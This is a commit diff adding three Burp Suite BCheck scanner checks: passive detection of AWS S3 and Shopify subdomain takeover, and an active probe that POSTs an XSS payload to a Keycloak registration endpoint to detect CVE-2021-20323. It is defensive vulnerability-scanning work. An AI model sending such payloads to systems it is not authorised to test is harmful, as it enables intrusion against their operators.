CVE-2021-20323 + AWS S3 takeover + Shopify takeover

other/takeover-s3-bucket.bcheck

@@ -0,0 +1,16 @@
+metadata:
+    language: v1-beta
+    name: "AWS S3 Bucket takeover"
+    description: "Possible sub-domain takeover via AWS S3 bucket."
+    tags: "passive,s3,takeover,cloud"
+    author: "Milad Fadavvi"
+
+
+given response then
+    if "NoSuchBucket" in {latest.response} and "BucketName:" in {latest.response} then
+        report issue:
+            severity: high
+            confidence: firm
+            detail: "https://github.com/EdOverflow/can-i-take-over-xyz/issues/36"
+            remediation: "Delete the related DNS record."
+    end if

other/takeover-shopify.bcheck

@@ -0,0 +1,16 @@
+metadata:
+    language: v1-beta
+    name: "Shopify subdomain takeover"
+    description: "Possible sub-domain takeover | Shopify"
+    tags: "passive,shopify,takeover,cloud"
+    author: "Milad Fadavvi"
+
+
+given response then
+    if ("To finish setting up your new web address, go to your domain settings, click \"Connect existing domain\"" in {latest.response} or "Sorry, this shop is currently unavailable." in {latest.response}) and "shop-not-found" in {latest.response} then
+        report issue:
+            severity: high
+            confidence: firm
+            detail: "info --> https://github.com/EdOverflow/can-i-take-over-xyz/issues/46"
+            remediation: "Delete the related DNS record."
+end if

vulnerabilities-CVEd/CVE-2021-20323 keycloak xss.bcheck

@@ -0,0 +1,25 @@
+metadata:
+    language: v1-beta
+    name: "CVE-2021-20323"
+    description: "KeyCloak Post-Based reflected XSS | CVE-2021-20323"
+    author: "Milad Fadavvi"
+    tags: "injection,xss,rxss"
+
+run for each:
+    potential_path = "/auth/realms/master/clients-registrations/openid-connect"
+
+given host then
+    send request called check:
+        method: "POST"
+        path: {potential_path}
+        body: "{\"<img src=x onerror=\\"alert('Bo0oq')\\"/>\":1}"
+        headers: "Content-type": "application/json"
+
+if "alert('Bo0oq')" in {check.response.body} and "org.keycloak" in {check.response.body}
+    then
+        report issue:
+            severity: medium
+            confidence: certain
+            detail: `https://nvd.nist.gov/vuln/detail/CVE-2021-20323`
+            remediation: "Update the KeyCloak!"
+end if